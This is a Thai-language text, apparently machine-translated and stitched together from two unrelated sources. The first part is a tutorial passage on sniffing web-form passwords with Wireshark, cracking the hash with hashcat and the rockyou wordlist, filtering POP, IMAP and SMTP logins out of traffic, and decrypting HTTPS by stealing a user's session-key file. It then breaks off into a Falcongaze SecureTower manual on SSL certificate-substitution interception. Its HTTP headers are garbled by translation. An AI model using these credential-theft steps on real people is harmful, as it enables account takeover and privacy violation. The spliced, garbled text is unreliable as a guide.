    P3P: CP="NOI ADM DEV PSAi COM NAV OTro STP IND DEM ของเรา"

    ชุดคุกกี้: รหัสผ่าน=; หมดอายุ=พฤ. 07 พ.ย. 2567 23:52:21 GMT; เส้นทาง=/

    ที่ตั้ง: loggedin.php

    ความยาวของเนื้อหา: 0

    การเชื่อมต่อ: ปิด

    ประเภทเนื้อหา: text/html; ชุดอักขระ=UTF-8

    ดังนั้นในกรณีของเรา:

    ชื่อผู้ใช้: networkguru

    รหัสผ่าน:

    ขั้นตอนที่ 4 กำหนดประเภทการเข้ารหัสเพื่อถอดรหัสรหัสผ่าน

    ตัวอย่างเช่น ไปที่เว็บไซต์ http://www.onlinehashcrack.com/hash-identification.php#res และป้อนรหัสผ่านของเราในหน้าต่างระบุตัวตน ฉันได้รับรายการโปรโตคอลการเข้ารหัสตามลำดับความสำคัญ:

    ขั้นตอนที่ 5 การถอดรหัสรหัสผ่านผู้ใช้

    ในขั้นตอนนี้เราสามารถใช้ยูทิลิตี้ hashcat ได้:

    ~# hashcat -m 0 -a 0 /root/wireshark-hash.lf /root/rockyou.txt

    ที่ผลลัพธ์เราได้รับรหัสผ่านที่ถอดรหัส: simplepassword

    ดังนั้นด้วยความช่วยเหลือของ Wireshark เราไม่เพียงแต่สามารถแก้ปัญหาในการทำงานของแอปพลิเคชันและบริการเท่านั้น แต่ยังลองตัวเองเป็นแฮ็กเกอร์ด้วย โดยดักจับรหัสผ่านที่ผู้ใช้ป้อนในรูปแบบเว็บ คุณยังสามารถค้นหารหัสผ่านสำหรับ กล่องจดหมายผู้ใช้ที่ใช้ตัวกรองแบบง่ายเพื่อแสดง:

    • โปรโตคอล POP และตัวกรองมีลักษณะดังนี้: pop.request.command == "USER" || pop.request.command == "ผ่าน"
    • โปรโตคอล IMAP และตัวกรองจะเป็น: imap.request มี "login"
    • โปรโตคอลคือ SMTP และคุณจะต้องป้อนตัวกรองต่อไปนี้: smtp.req.command == "AUTH"

    และยูทิลิตี้ที่จริงจังมากขึ้นสำหรับการถอดรหัสโปรโตคอลการเข้ารหัส

    ขั้นตอนที่ 6: จะเกิดอะไรขึ้นหากการรับส่งข้อมูลถูกเข้ารหัสและใช้ HTTPS

    มีหลายทางเลือกในการตอบคำถามนี้

    ตัวเลือก 1. เชื่อมต่อเมื่อการเชื่อมต่อระหว่างผู้ใช้และเซิร์ฟเวอร์ขาด และบันทึกการรับส่งข้อมูลในขณะที่สร้างการเชื่อมต่อ (SSL Handshake) เมื่อสร้างการเชื่อมต่อแล้ว เซสชั่นคีย์จะถูกดักจับได้

    ตัวเลือกที่ 2: คุณสามารถถอดรหัสการรับส่งข้อมูล HTTPS ได้โดยใช้ไฟล์บันทึกคีย์เซสชันที่บันทึกโดย Firefox หรือ Chrome ในการดำเนินการนี้ จะต้องกำหนดค่าเบราว์เซอร์ให้เขียนคีย์เข้ารหัสเหล่านี้ลงในไฟล์บันทึก (ตัวอย่างจาก FireFox) และคุณควรได้รับไฟล์บันทึกนั้น โดยพื้นฐานแล้ว คุณจะต้องขโมยไฟล์คีย์เซสชันมา ฮาร์ดไดรฟ์ผู้ใช้รายอื่น (ซึ่งผิดกฎหมาย) ถ้าอย่างนั้นก็จับการรับส่งข้อมูลและใช้คีย์ผลลัพธ์เพื่อถอดรหัส

    ชี้แจง. เรากำลังพูดถึงเว็บเบราว์เซอร์ของบุคคลที่พยายามขโมยรหัสผ่าน หากเราหมายถึงการถอดรหัสการรับส่งข้อมูล HTTPS ของเราเองและต้องการฝึกฝน กลยุทธ์นี้จะได้ผล หากคุณกำลังพยายามถอดรหัสการรับส่งข้อมูล HTTPS ของผู้ใช้รายอื่นโดยไม่สามารถเข้าถึงคอมพิวเตอร์ของพวกเขา สิ่งนี้จะไม่ทำงาน นั่นคือทั้งการเข้ารหัสและความเป็นส่วนตัว

    หลังจากได้รับคีย์ตามตัวเลือก 1 หรือ 2 คุณจะต้องลงทะเบียนคีย์เหล่านั้นใน WireShark:

  • ไปที่เมนู แก้ไข - การตั้งค่า - โปรโตคอล - SSL
  • ตั้งค่าสถานะ “ประกอบระเบียน SSL อีกครั้งซึ่งครอบคลุมหลายส่วน TCP”
  • “รายการคีย์ RSA” แล้วคลิกแก้ไข
  • ป้อนข้อมูลในทุกฟิลด์และเขียนเส้นทางในไฟล์ด้วยคีย์
  • เมื่อเปิดใช้งาน การรับส่งข้อมูลทั้งหมด (เข้ารหัสและไม่เข้ารหัส) หรือเอเจนต์ที่เข้ารหัสเท่านั้นจะใช้เทคโนโลยีการปลอมแปลงใบรับรอง SSL เพื่อให้แน่ใจว่ามีการสกัดกั้นข้อมูลที่ส่งในเซสชันเว็บที่ได้รับการป้องกัน เมื่อสร้างการเชื่อมต่อที่ปลอดภัยกับเซิร์ฟเวอร์ เอเจนต์จะแทนที่ใบรับรองเซิร์ฟเวอร์เดิมด้วยใบรับรองที่มีชื่อเดียวกัน แต่ออกโดยใบรับรองหลักของเอเจนต์ ระบบอนุญาตให้คุณใช้ทั้งใบรับรองที่ติดตั้งไว้ล่วงหน้าและที่ผู้ใช้สร้างขึ้นโดยมีสิทธิ์การลงนามเป็นใบรับรองหลัก

    ระบบอนุญาตให้คุณติดตั้งใบรับรองบางอย่างด้วยตนเองเพื่อทดแทนเมื่อขัดขวางเซสชันของเซิร์ฟเวอร์ที่เกี่ยวข้อง (ไซต์ โปรแกรม) โดยการเชื่อมโยงใบรับรองกับเซิร์ฟเวอร์

    ในบางกรณี การใช้ใบรับรองที่ไม่ใช่ต้นฉบับอาจทำให้ไม่สามารถสร้างการเชื่อมต่อที่เข้ารหัสกับเซิร์ฟเวอร์ได้ ในกรณีนี้ จำเป็นต้องแยกเซิร์ฟเวอร์ที่เกี่ยวข้องออกจากการสกัดกั้น เช่น ห้ามการทดแทนใบรับรอง SSL เมื่อเชื่อมต่อกับเซิร์ฟเวอร์ดังกล่าว การดำเนินการนี้จะคืนค่าฟังก์ชันการทำงานของไซต์หรือโปรแกรมดังกล่าว แต่การรับส่งข้อมูลที่เข้ารหัสสำหรับไซต์หรือโปรแกรมเหล่านั้นจะไม่ถูกดักจับ

    ในการกำหนดค่าการสกัดกั้นการรับส่งข้อมูล SSL:

  • ในหน้าต่างแท็บโปรไฟล์การตั้งค่าตัวแทน ในพื้นที่แก้ไขโปรไฟล์ ให้เลือกแท็บการควบคุมการรับส่งข้อมูลเครือข่าย
  • คลิกปุ่มตัวเลือกการสกัดกั้น SSL และปฏิบัติตามคำแนะนำในย่อหน้าปัจจุบัน
  • การเลือกโหมดการทดแทนใบรับรอง SSL

    ในหน้าต่างการตั้งค่า ให้เลือกโหมดการสกัดกั้นที่ยอมรับได้:

    • หากต้องการให้ตัวแทนสร้างใบรับรอง SSL หลักโดยอัตโนมัติเมื่อติดตั้งบนคอมพิวเตอร์ของผู้ใช้ ให้เลือกตัวเลือก โหมดอัตโนมัติ- ใบรับรองหลักที่สร้างขึ้นจะถูกวางไว้ในฐานข้อมูลผู้ออกใบรับรองที่เชื่อถือได้ และตัวแทนจะใช้โดยอัตโนมัติเพื่อออกใบรับรองลูกในภายหลังซึ่งลงนามโดยค่าเริ่มต้นด้วยชื่อผู้ออก Falcongaze SecureTower

    หากต้องการเปลี่ยนชื่อของผู้ออกใบรับรองที่จะปรากฏในข้อมูลความปลอดภัยในการเชื่อมต่อ ให้ป้อนชื่อที่ต้องการในช่องชื่อในใบรับรอง SSL

    • หากต้องการใช้ใบรับรอง SSL แบบกำหนดเองเป็นใบรับรองหลักเมื่อสกัดกั้นการรับส่งข้อมูลที่เข้ารหัส ให้เลือกตัวเลือกโหมดกำหนดเอง ใบรับรองผู้ใช้จะต้องถูกสร้างขึ้นก่อนหน้านี้และเพิ่มลงในฐานข้อมูลระบบ หากต้องการระบุใบรับรองจากฐานข้อมูลระบบ ให้เลือกชื่อในรายการดรอปดาวน์ ใบรับรองผู้ใช้ หรือคลิกปุ่มใบรับรองผู้ใช้ เพื่อเพิ่มใบรับรองและไฟล์คีย์ส่วนตัวลงในฐานข้อมูลระบบ

    ในหน้าต่างที่เปิดขึ้น ให้คลิกปุ่มเพิ่มใบรับรอง แล้วระบุใบรับรองและไฟล์คีย์โดยใช้วิธีใดวิธีหนึ่งต่อไปนี้:

  • หากต้องการสร้างใบรับรองใหม่ ให้คลิกปุ่มสร้างใบรับรอง ในหน้าต่างที่เปิดขึ้น ให้ป้อนชื่อของใบรับรองใหม่ ระยะเวลาที่ใช้งานได้ และระบุเส้นทางที่จะจัดเก็บไฟล์ใบรับรองที่สร้างขึ้นใหม่ (*.cer) และคีย์ส่วนตัว (*.pvk) คลิกปุ่มสร้าง
  • หากคุณต้องการเพิ่มใบรับรองที่สร้างขึ้นก่อนหน้านี้ในรูปแบบ PFX ให้คลิกปุ่มแปลงจากใบรับรอง PFX ระบุเส้นทางและรหัสผ่านไปยังไฟล์ใบรับรองในรูปแบบ PFX รวมถึงเส้นทางไปยังไฟล์ใบรับรอง (*.cer) และคีย์ส่วนตัว (*.pvk) ที่คุณต้องการแปลงไฟล์ต้นฉบับ คลิกปุ่มแปลงเพื่อทำการแปลงให้เสร็จสิ้น
  • คลิกถัดไปในหน้าต่างการเพิ่มใบรับรองผู้ใช้เพื่อดำเนินการตามขั้นตอนการเพิ่มต่อไป ในหน้าต่างที่เปิดขึ้น ให้ป้อนชื่อเฉพาะที่จะใช้ลงนามใบรับรองที่เพิ่มเข้าไป และความคิดเห็น (ไม่บังคับ)

    คลิกเสร็จสิ้นเพื่อเสร็จสิ้นกระบวนการ ใบรับรองจะถูกเพิ่มลงในฐานข้อมูลใบรับรองผู้ใช้ของระบบ SecureTower คลิกตกลงเพื่อเพิ่มให้เสร็จสมบูรณ์ ใบรับรองผู้ใช้ที่เพิ่มจะถูกวางโดยอัตโนมัติโดยตัวแทนในฐานข้อมูลผู้สร้างที่เชื่อถือได้ (หากผู้ดูแลระบบเครือข่ายไม่เคยดำเนินการนี้มาก่อน) จากนั้นจะใช้ในการออกใบรับรองย่อย

    บันทึก.

    เมื่อใช้โหมดผู้ใช้ ขอแนะนำให้ผู้ดูแลระบบเครือข่ายแจกจ่ายใบรับรองผู้ใช้ไปยังคอมพิวเตอร์ทุกเครื่องบนเครือข่ายที่ใช้ นโยบายกลุ่มหรือด้วยตนเอง สิ่งนี้จะช่วยให้มั่นใจได้ว่าใบรับรองได้รับการตรวจสอบสิทธิ์เรียบร้อยแล้ว มิฉะนั้น ใบรับรองจะถูกเพิ่มโดยอัตโนมัติโดยตัวแทนไปยังที่เก็บใบรับรองที่เชื่อถือได้

    การเชื่อมโยงใบรับรอง SSL ไปยังเซิร์ฟเวอร์

    หากต้องการตรวจสอบการจับคู่ใบรับรองเซิร์ฟเวอร์ ให้คลิกปุ่มการผูกใบรับรองแล้วทำตามคำแนะนำด้านล่าง:

    • หากต้องการผูกใบรับรองหลักกับเซิร์ฟเวอร์เฉพาะ บนแท็บใบรับรองหลัก ให้คลิกปุ่มเพิ่มใบรับรองสำหรับไซต์ ป้อนชื่อโฮสต์ (ชื่อโดเมน) ที่จะออกใบรับรองลูกและใบรับรองหลักที่จะผูกไว้ในฟิลด์ชื่อโฮสต์ (ที่อยู่ IP) เลือกหนึ่งในใบรับรองหลักที่ติดตั้งไว้ล่วงหน้าจากรายการดรอปดาวน์ฟิลด์ใบรับรองหลัก หรือคลิกปุ่มใบรับรองผู้ใช้ เพื่อเพิ่มและระบุใบรับรองและไฟล์คีย์ส่วนตัวบนคอมพิวเตอร์ของผู้ใช้
    • หากต้องการผูกใบรับรองที่มีอยู่กับเซิร์ฟเวอร์เฉพาะ ให้เลือกแท็บใบรับรองผู้ใช้ เอเจนต์จะไม่สร้างใบรับรองลูกใหม่สำหรับเซิร์ฟเวอร์ที่ระบุในแท็บนี้ แต่จะใช้ใบรับรองที่ระบุโดยผู้ใช้สำหรับขั้นตอนการทดแทน ในหน้าต่างที่เปิดขึ้น ในฟิลด์ชื่อโฮสต์ (ที่อยู่ IP) ให้ป้อนชื่อโฮสต์ (ชื่อโดเมน) ที่จะผูกใบรับรองไว้ เลือกหนึ่งในใบรับรองจากรายการแบบเลื่อนลงในฟิลด์ใบรับรอง: (หากเพิ่มใบรับรองไว้ก่อนหน้านี้แล้ว) หรือคลิกปุ่มใบรับรองผู้ใช้เพื่อเลือกใบรับรองผู้ใช้จากรายการ หรือเพิ่มและระบุใบรับรองและไฟล์คีย์ส่วนตัวบนใบรับรองของผู้ใช้ คอมพิวเตอร์.

    บันทึก.

    หากต้องการกรอกข้อมูลในช่องชื่อโฮสต์ (ที่อยู่ IP) คุณสามารถใช้ที่อยู่ IP ของโฮสต์ได้ แต่เฉพาะในกรณีที่ไม่ได้กำหนดชื่อโฮสต์ระหว่างการเชื่อมต่อและทราบเฉพาะที่อยู่ IP เท่านั้น

    ยกเว้นเซิร์ฟเวอร์จากการสกัดกั้นการรับส่งข้อมูลที่เข้ารหัส

    หากต้องการทำงานกับข้อยกเว้นจากกระบวนการทดแทนใบรับรอง ให้คลิกปุ่มข้อยกเว้นเซิร์ฟเวอร์ SSL

    หน้าต่างตัวจัดการข้อยกเว้นแสดงรายการเซิร์ฟเวอร์ (โฮสต์) ที่ไม่รวมอยู่ในกระบวนการทดแทนตามค่าเริ่มต้น หากต้องการเพิ่มข้อยกเว้นใหม่ ให้คลิกปุ่มเพิ่มข้อยกเว้น

    ในช่องป้อนข้อมูลของกล่องโต้ตอบที่เปิดขึ้น ให้ป้อนชื่อเซิร์ฟเวอร์ (โฮสต์) (เช่น account.google.com) โดยคำนึงถึงตัวพิมพ์เล็กและใหญ่ แล้วคลิกปุ่มเพิ่ม ระบบอนุญาตให้คุณป้อนชื่อโดยใช้มาสก์ (อนุญาตให้ใช้สัญลักษณ์ ? และ * ได้ เช่น การใช้ *.microsoft.* จะหลีกเลี่ยงการทำซ้ำทรัพยากรของ Microsoft ในรายการแยก) เพื่อแยกทรัพยากรในตระกูลเดียวกัน ชื่อที่คุณป้อนจะปรากฏในรายการยกเว้น

    ถัดไป คุณต้องเลือกโหมดการยกเว้น: แทนที่ใบรับรองสำหรับเซิร์ฟเวอร์ SSL ที่ระบุไว้ด้านบนเท่านั้น หรือ แทนที่ใบรับรอง SSL สำหรับเซิร์ฟเวอร์ทั้งหมด ยกเว้นที่ระบุไว้ข้างต้น ในกรณีแรก ระบบจะแทนที่ใบรับรองสำหรับเซิร์ฟเวอร์ที่อยู่ในรายการยกเว้นเท่านั้น (และจะสามารถสกัดกั้นการรับส่งข้อมูลที่เกี่ยวข้องได้) สำหรับใบรับรองอื่นๆ ทั้งหมด จะไม่ถูกแทนที่ และการสกัดกั้นการรับส่งข้อมูลที่เข้ารหัสที่เกี่ยวข้องจะเป็นไปไม่ได้ ในกรณีที่สอง ระบบจะแทนที่ใบรับรองสำหรับเซิร์ฟเวอร์ทั้งหมด ยกเว้นที่ระบุไว้ในรายการข้อยกเว้น

    หากต้องการดำเนินการอื่นๆ ที่มีข้อยกเว้น ให้ปฏิบัติตามคำแนะนำที่เหมาะสมในย่อหน้า